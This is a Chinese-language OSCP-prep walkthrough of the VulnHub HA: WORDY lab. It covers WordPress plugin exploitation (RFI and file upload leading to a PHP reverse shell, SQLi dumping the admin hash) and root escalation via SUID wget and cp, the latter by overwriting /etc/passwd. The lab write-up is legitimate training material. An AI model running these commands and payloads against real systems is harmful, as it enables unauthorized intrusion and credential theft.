靶场实战(19):OSCP备考之VulnHub HA WORDY
交流技术可以关注公众号 OneMoreThink 或后台添加微信,欢迎提出宝贵建议。
0、总结
0.1、攻击思路
资产发现
主机发现
服务发现
漏洞发现(获取权限)
80端口/HTTP服务
组件漏洞
URL漏洞:RFI、FileUpload
提升权限
www-data用户
sudo
suid:wget、cp
0.2、攻击路径
获取权限
80 端口/HTTP 服务
WordPress 插件 mail-masta 1.0,存在 RFI 远程文件包含 Nday 漏洞,可去下载反弹 webshell 并执行,反弹 www-data 用户权限。
WordPress 插件 reflex-gallery 3.1.3,存在文件上传 Nday 漏洞,可被上传反弹 webshell 并执行,反弹 www-data 用户权限。
提升权限
suid
wget 命令,可以构造下载报错时执行提权代码,返回 root 用户权限。
wget 命令,可以构造特权用户/etc/passwd 并下载覆盖旧的,获得 root 用户权限。
cp 命令,可以构造特权用户/etc/passwd 并复制覆盖旧的,获得 root 用户权限。
0.3、防护建议
对资产清单开展漏洞扫描、渗透测试、配置核查、开源组件扫描等漏洞发现工作,并及时修复互联网高危 Nday 漏洞;
对资产清单开展流量侧、主机侧等的攻击监测工作,对真实的攻击行为进行及时阻断,对成功的攻击事件进行及时处置。
1、资产发现
1.1、主机发现
本次靶场HA: WORDY[1]指定 IP,不涉及主机发现过程。
1.2、服务发现
使用命令sudo -u root nmap 172.16.33.108 -n -Pn -p- --reason -sV -sC -O发现主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 | 提供的服务 | 使用的组件 | 组件的版本 |
80/tcp | http | Apache httpd | 2.4.29 |
- | os | Ubuntu Linux | ? |
2、漏洞发现(获取权限)
2.1、80 端口/HTTP 服务
2.1.1、组件漏洞
0x01、Web 中间件
使用命令searchsploit Apache httpd 2.4.未发现 Web 中间件 Apache httpd 2.4.29 的 Nday 漏洞。

0x02、Web 框架
使用浏览器插件 Wappalyzer 未发现存在 Nday 漏洞的 Web 框架。

2.1.2、URL 漏洞:RFI、FileUpload
0x01、直接访问
浏览器打开http://172.16.33.108/,只是 Web 中间件默认页面。

0x02、目录扫描(dirsearch)
使用命令dirsearch -u http://172.16.33.108/ -x 403扫描网站的目录和文件并逐个检查,只有/wordpress/wp-login.php文件是有价值的。


使用命令wpscan --url http://172.16.33.108/wordpress/ --enumerate u扫描 WordPress 用户,发现admin和aarti用户。
使用命令wpscan --url http://172.16.33.108/wordpress/ --usernames admin,aarti --passwords /usr/share/wordlists/rockyou.txt爆破这俩用户的密码,2 个小时各爆破了 12 万个密码都没爆出来。




使用命令wpscan --url http://172.16.33.108/wordpress/扫描 WordPress 插件,发现 7 个插件。



01、mail-masta 1.0 插件(RFI)
使用命令searchsploit mail masta发现插件 mail-masta 1.0 的 2 个 Nday 漏洞,本地文件包含和 SQLi。
使用命令searchsploit -m 48290将本地文件包含漏洞的 EXP 拷贝到当前目录后使用命令cat 40290.txt查看,获得漏洞 URL,最终构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd在浏览器中访问,成功拿到/etc/passwd 文件,确认存在 LFI 本地文件包含漏洞。
看下有没 RFI 远程文件包含漏洞获取 shell 权限,使用命令cp /usr/share/webshells/php/php-reverse-shell.php ./将反弹 webshell 拷贝到当前目录,使用命令vim php-reverse-shell.php修改 CHANGE THIS 处的监听 ip 和 port,使用命令python3 -m http.server搭建 Web 服务器给靶机下载反弹 webshell,使用命令nc -nvlp 33108监听反弹 shell,构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问,最终拿到www-data用户的 shell 权限,成功突破边界。




使用命令searchsploit -m 41438将 SQLi 漏洞的 EXP 拷贝到当前目录后使用命令cat 41438.txt查看,一共是 4 个 SQLi 漏洞,但第 2-4 个需要登录 admin 账户后才能利用,而第 1 个不需要。构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=0+OR+1%3D1&pl=/var/www/html/wordpress/wp-load.php进行访问,获得一个export.csv文件,但里面除了 Email 单词外啥也没有。



02、reflex-gallery 3.1.3 插件(FileUpload)
使用命令searchsploit reflex gallery发现插件 reflex-gallery 3.1.3 的 1 个 Nday 漏洞,是任意文件上传漏洞。使用命令searchsploit -m 36374将 EXP 拷贝到当前目录后使用命令cat 36374.txt查看漏洞利用方式,发现 EXP 里提供了文件上传漏洞的利用页面和文件上传后的 URL。
使用命令vim 36374.html编辑文件上传漏洞的利用页面后,使用命令python3 -m http.server搭建 Web 服务器,在浏览器中访问文件上传漏洞的利用页面http://127.0.0.1:8000/36374.html并上传改好了 ip 和 port 的反弹 Webshell/usr/share/webshells/php/php-reverse-shell.php,但是报错{"error":"Directory does not exist and could not be created."}。





经过分析,要上传文件的文件夹不存在且不能创建,那就找个存在的文件夹吧。浏览发现存在2019-09和2022-11两个文件夹,修改文件上传漏洞的利用页面后重新上传反弹 webshell,最终上传成功。






使用命令nc -nvlp 33108监听端口后,浏览器访问反弹 webshell 地址http://172.16.33.108/wordpress/wp-content/uploads/2019/09/php-reverse-shell.php,最终成功获得 www-data 用户的权限。

03、site-editor 1.1.1 插件(LFI)
使用命令searchsploit WordPress site editor发现插件 site-editor1.1.1 的 1 个 Nday 漏洞,是本地文件包含漏洞。使用命令searchsploit -m 44340将 EXP 拷贝到当前目录后使用命令cat 44340.txt获得漏洞 URL,最终构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd在浏览器中访问,成功拿到/etc/passwd 文件,确认存在 LFI 本地文件包含漏洞。
看下有没 RFI 远程文件包含漏洞获取 shell 权限,使用命令cp /usr/share/webshells/php/php-reverse-shell.php ./将反弹 webshell 拷贝到当前目录,使用命令vim php-reverse-shell.php修改 CHANGE THIS 处的监听 ip 和 port,使用命令python3 -m http.server搭建 Web 服务器给靶机下载反弹 webshell,使用命令nc -nvlp 33108监听反弹 shell,构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=http://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问,结果报错{"success":false,"message":"Error: didn't load shortcodes pattern file"},看来不存在远程文件件包含漏洞。
除此之外访问其它 Linux 文件、以及尝试进行命令执行,均无收获。




04、slideshow-gallery 1.4.6 插件
使用命令searchsploit slideshow gallery 1.4.6发现插件 slideshow-gallery 1.4.6 的 1 个 Nday 漏洞,是任意文件上传漏洞。使用命令searchsploit -m 34514将 EXP 拷贝到当前目录后使用命令cat 34514.txt查看漏洞详情,发现需要 admin 用户权限才能执行,只能放弃。

05、wp-easycart-data 插件
使用命令searchsploit easycart data未发现 wp-easycart-data 插件的 Nday 漏洞。

06、wp-support-plus-responsive-ticket-system7.1.3 插件
使用命令searchsploit wp support plus responsive ticket system发现 wp-support-plus-responsive-ticket-system7.1.3 插件的 2 个 Nday 漏洞,是 SQLi 和权限提升漏洞。
使用命令searchsploit -m 40939将 SQLi 漏洞的 EXP 拷贝到当前目录后使用命令cat 40939.txt查看漏洞详情,发现需要 admin 账户才能执行,只能作罢。

使用命令searchsploit -m 41006将权限提升漏洞的 EXP 拷贝到当前目录后使用命令cat 41006.txt查看漏洞详情,发现需要 admin 账户才能执行,只能作罢。

07、wp-symposium15.1 插件(SQLi)
使用命令searchsploit wp symposium 15.1发现 wp-symposium15.1 插件的 3 个 Nday 漏洞,都是 SQLi。

使用命令cat 37080.txt查看第一个 EXP 详情,有 3 个 Payload,逐个测试,未发现存在该 SQLi 漏洞。




使用命令cat 37824.txt查看第二个 EXP 详情,并构造漏洞验证 URLhttp://172.16.33.108/wordpress/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--在浏览器中访问,成功获得响应,确认漏洞存在。
然后构造 POCconcat(user_login,char(58),user_pass) from wordpress.wp_users;--并进行 URL 编码,来读取 WordPress 的用户密码,获得admin:$P$BYWgfD7pa572QS9YFoeVVmhrIhBAx0.,但是CMD5[2]和SOMD5[3]都无法解密,刚才 wpscan2 个小时爆破了 12 万个密码都没爆出来,因此放弃制作彩虹表。
想重置 admin 用户的密码,但用 sqlmap 识别出注入点不支持堆叠注入,无法执行 UPDATE 语句,只能作罢。




使用命令cat 37822.txt查看第三个 EXP 详情,并构造漏洞验证 Payload 和正常请求进行对比,结果两个请求的响应都是延迟相同的 21 秒,没有区别,因此不存在该延迟注入。



0x02、目录扫描(dirb)
使用命令dirb http://172.16.33.108/ -X .txt,.zip扫描网站的目录和文件,发现两个文件。其中/notes.txt文件让我们留意 ZIP 文件,而secret.zip文件里面是link.txt文件,需要密码才能解压出来,但是使用/usr/share/john/password.lst和/usr/share/wordlists/rockyou.txt两个字典共计 1434 万个密码,都无法爆破出解压密码。





0x03、模糊测试
基于目前已知情况,没有对网站的目录和文件进行 FUZZ 的必要。
0x04、切换协议
使用浏览器访问https://172.16.33.108:80/,提示网站没有使用 SSL 协议。

3、提升权限
使用命令which python和which python3查看靶机使用哪个版本的 Python,发现使用了 Python3。使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'获得交互式 shell。

3.1、www-data 用户
3.1.1、sudo
使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现需要当前用户的 SSH 密码才能查看。由于没有,只能作罢。

3.1.2、suid:wget、cp
使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还不少。

逐个在GTFOBins[4]查询能否用于提权,发现/usr/bin/wget可以。分别执行 EXPTF=$(mktemp)、chmod +x $TF、echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF、/usr/bin/wget --use-askpass=$TF 0,最终获得该命令属主 root 用户的权限,成功完成提权。



同时还可以往/etc/passwd 中植入特权用户进行提权,首先在靶机上使用命令cat /etc/passwd打印出来拷贝到本地。
然后在本地使用命令openssl passwd -6 -salt salt 123456生成 SSH 密码 123456,并基于刚才靶机打印出来的 passwd 文件,使用命令vim passwd创建植入了特权账户hacker和密码123456的新 passwd 文件,再使用命令python3 -m http.server开启 Web 服务器提供给靶机下载。
最后靶机使用命令wget http://10.8.0.110:8000/passwd -O /etc/passwd下载新的 passwd 文件覆盖旧的,最后使用命令su hacker和密码123456可以切换到 root 权限的 hacker 用户,成功进行提权。




逐个在GTFOBins[5]查询能否用于提权,发现/bin/cp可以,有 3 个 EXP,但逐个尝试,全都失败了无法提权。
但是可以在靶机上使用命令cp /etc/shadow /tmp/shadow将密码文件拷贝出来,然后在本地使用命令john shadow --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt进行爆破,但是失败了,没能爆破出来。




不过可以往/etc/passwd 中植入特权用户进行提权,步骤参考刚才 wget 的,只是最后靶机使用命令wget http://10.8.0.110:8000/passwd -O /tmp/passwd下载新的 passwd 文件,然后使用命令cp /tmp/passwd /etc/passwd进行替换,再使用命令su hacker和密码123456可以切换到 root 权限的 hacker 用户,成功进行提权。

参考资料
[1]
HA: WORDY: https://www.vulnhub.com/entry/ha-wordy,363/
[2]CMD5: https://cmd5.com
[3]SOMD5: https://www.somd5.com
[4]GTFOBins: https://gtfobins.github.io
[5]GTFOBins: https://gtfobins.github.io
相关文章:
靶场实战(19):OSCP备考之VulnHub HA WORDY
交流技术可以关注公众号 OneMoreThink 或后台添加微信,欢迎提出宝贵建议。 0、总结 0.1、攻击思路 资产发现 主机发现服务发现漏洞发现(获取权限) 80端口/HTTP服务 组件漏洞URL漏洞:RFI、FileUpload提升权限 www-data用户 sudosui…...
大模型学习与实践笔记(九)
一、LMDeply方式部署 使用 LMDeploy 以本地对话方式部署 InternLM-Chat-7B 模型,生成 300 字的小故事 2.api 方式部署 运行 结果: 显存占用: 二、报错与解决方案 在使用命令,对lmdeploy 进行源码安装是时,报错 1.源…...
fpga目前就业形势咋样?
FPGA今年各厂给本科生的薪资大概是15-30K,研究生是20-40K,平均薪资在25k左右, 当然具体薪资还要看去哪个公司,哪个城市,以及个人的学校、专业、能力水平、及包括面试时的表现,运气等,这些都会导…...
Linux7 安装 Oracle 19C RAC 详细图文教程
实战篇:Linux7 安装 Oracle 19C RAC 详细图文教程 本文是按照:https://www.modb.pro/db/154424的思路进行编写 一、安装前规划 安装RAC前,当然要先做好规划。具体包含以下几方面: 节点主机版本主机名实例名Grid/Oracle版本Publi…...
【SpringBoot】SpringBoot 项目初始化方法
github 搜索 springboot 模板 github 搜索 springboot 模板,拉取现成代码。 SpringBoot 官方的模板生成器 SpringBoot 官方的模板生成器(https://start.spring.io/) 在 IDEA 开发工具中生成 这里我修改成阿里的镜像主要是要使用 Java8。 …...
34. 在排序数组中查找元素的第一个和最后一个位置(二分查找)
二分查找到目标值然后左右找到坐标 问题在于:找左右坐标的时候时间复杂度不是O(logN) class Solution {public int[] searchRange(int[] nums, int target) {int[] ans {-1, -1};if (nums.length 0) return ans;int l 0, r nums.length;while (l < r) {int…...
Mysql深度分页优化的一个实践
问题简述: 最近在工作中遇到了大数据量的查询场景, 日产100w左右明细, 会查询近90天内的数据, 总数据量约1亿, 业务要求支持分页查询与导出. 无论是分页或导出都涉及到深度分页查询, mysql通过limit/offset实现的深度分页查询会存在全表扫描的问题, 比如offset1000w, limit10…...
【JavaEE进阶】 SpringBoot配置⽂件
文章目录 🍀配置⽂件的作⽤🌴SpringBoot配置⽂件🎋配置⽂件的格式🎄properties配置⽂件🚩properties基本语法🚩读取配置⽂件🚩properties的缺点 🌳yml配置⽂件yml基本语法Ƕ…...
excel 常用函数
求和函数: SUM: 将单个值、单元格引用或区域相加。 案例:SUM(A1:A5) (结果:A1到A5单元格的值求和) SUMIF: 对选中范围内符合指定条件的值求和。 案例:SUMIF(B1:B5, ">50&qu…...
【React基础】– JSX语法
文章目录 认识JSX为什么React选择了JSXJSX的使用 React事件绑定this的绑定问题事件参数传递 React条件渲染React列表渲染列表中的key JSX的本质createElement源码Babel官网查看直接编写jsx代码 虚拟DOM的创建过程jsx – 虚拟DOM – 真实DOM声明式编程 阶段案例练习 认识JSX ◼ …...
SpringBoot 项目中后端实现跨域的5种方式!!!
文章目录 SpringBoot 项目中后端实现跨域的5种方式!!!一、为什么会出现跨域问题二、什么是跨域三、非同源限制四、Java后端 实现 CORS 跨域请求的方式1、返回新的 CorsFilter(全局跨域)2、重写 WebMvcConfigurer(全局跨域)3、使用注解 (局部跨…...
Vue3前端开发,provide和enject的基础练习,跨层级传递数据
Vue3前端开发,provide和enject的基础练习,跨层级传递数据! 声明:provide虽然可以跨层级传递,但是依旧是需要由上向下的方向传递。根传子的方向。 <script setup> import {onMounted, ref} from vue import Base from ./components/Base.vue impor…...
Python 循环结构值while循环
while循环是一种常用的循环结构,它会在满足特定条件的情况下重复执行一段代码块。 基本语法: while condition:# 循环体代码while循环的执行过程如下: 首先,判断循环条件condition(布尔表达式)是否为真。…...
MSSQL-识别扩展extended event(扩展事件)中的时间单位
经常使用sqlserver extended event(扩展事件),但是总是忘记扩展事件使用的时间单位,不确定它们是 秒、毫秒、还是微秒? 以下下代码能够从 相关DMV中提取description字段内容来识别时间单位: SELECT [p].[name] [package_name],[o…...
vue3中l和vue2中v-model不同点
vue2比较让人诟病的一点就是提供了两种双向绑定:v-model和.sync, 在vue3中,去掉了.sync修饰符,只需要使用v-model进行双向绑定即可。 为了让v-model更好的针对多个属性进行双向绑定(vue2中自定义组件中v-model只能使用…...
使用 Swift 代码优化项目编译速度
引言 软件的性能是评价一个软件质量的重要指标,尤其在今天这个时代,性能已成为大型项目不可或缺的考虑因素之一。对于用户量极大的软件,如网银系统、在线购物商城等,更是必须保证其高效稳定的性能。在这种背景下,优化…...
基于springboot+vue的社区团购系统(前后端分离)
博主主页:猫头鹰源码 博主简介:Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容:毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目背景…...
three.js从入门到精通系列教程002 - three.js正交相机OrthographicCamera
<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>three.js从入门到精通系列教程002 - three.js正交相机OrthographicCamera</title><script src"ThreeJS/three.js"></script><script src&qu…...
Golang 搭建 WebSocket 应用(七) - 性能、可用性
在前面的文章中,提到过非功能性需求决定了架构。 今天我们再来考虑一下另外两个非功能性需求:性能和可用性。 前言 关于性能,其实并不是只有我们这个消息推送系统独有的问题。 对于所有的开发者而言,都多多少少会处理过性能相关…...
Qt 状态机框架:The State Machine Framework (一)
传送门: Qt 状态机框架:The State Machine Framework (一) Qt 状态机框架:The State Machine Framework (二) 一、什么是状态机框架 状态机框架提供了用于创建和执行状态图/表[1]的类。这些概念和表示法基于Harel的Statecharts:一种复杂系统的可视化形式,也是UML状态图的基…...
R语言AI模型部署方案:精准离线运行详解
R语言AI模型部署方案:精准离线运行详解 一、项目概述 本文将构建一个完整的R语言AI部署解决方案,实现鸢尾花分类模型的训练、保存、离线部署和预测功能。核心特点: 100%离线运行能力自包含环境依赖生产级错误处理跨平台兼容性模型版本管理# 文件结构说明 Iris_AI_Deployme…...
基于当前项目通过npm包形式暴露公共组件
1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹,并新增内容 3.创建package文件夹...
零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...
云原生玩法三问:构建自定义开发环境
云原生玩法三问:构建自定义开发环境 引言 临时运维一个古董项目,无文档,无环境,无交接人,俗称三无。 运行设备的环境老,本地环境版本高,ssh不过去。正好最近对 腾讯出品的云原生 cnb 感兴趣&…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
用机器学习破解新能源领域的“弃风”难题
音乐发烧友深有体会,玩音乐的本质就是玩电网。火电声音偏暖,水电偏冷,风电偏空旷。至于太阳能发的电,则略显朦胧和单薄。 不知你是否有感觉,近两年家里的音响声音越来越冷,听起来越来越单薄? —…...
tomcat指定使用的jdk版本
说明 有时候需要对tomcat配置指定的jdk版本号,此时,我们可以通过以下方式进行配置 设置方式 找到tomcat的bin目录中的setclasspath.bat。如果是linux系统则是setclasspath.sh set JAVA_HOMEC:\Program Files\Java\jdk8 set JRE_HOMEC:\Program Files…...
深度学习之模型压缩三驾马车:模型剪枝、模型量化、知识蒸馏
一、引言 在深度学习中,我们训练出的神经网络往往非常庞大(比如像 ResNet、YOLOv8、Vision Transformer),虽然精度很高,但“太重”了,运行起来很慢,占用内存大,不适合部署到手机、摄…...
自然语言处理——文本分类
文本分类 传统机器学习方法文本表示向量空间模型 特征选择文档频率互信息信息增益(IG) 分类器设计贝叶斯理论:线性判别函数 文本分类性能评估P-R曲线ROC曲线 将文本文档或句子分类为预定义的类或类别, 有单标签多类别文本分类和多…...
2025 后端自学UNIAPP【项目实战:旅游项目】7、景点详情页面【完结】
1、获取景点详情的请求【my_api.js】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http(/login/getWXSessionKey, {code,avatar}); };//…...

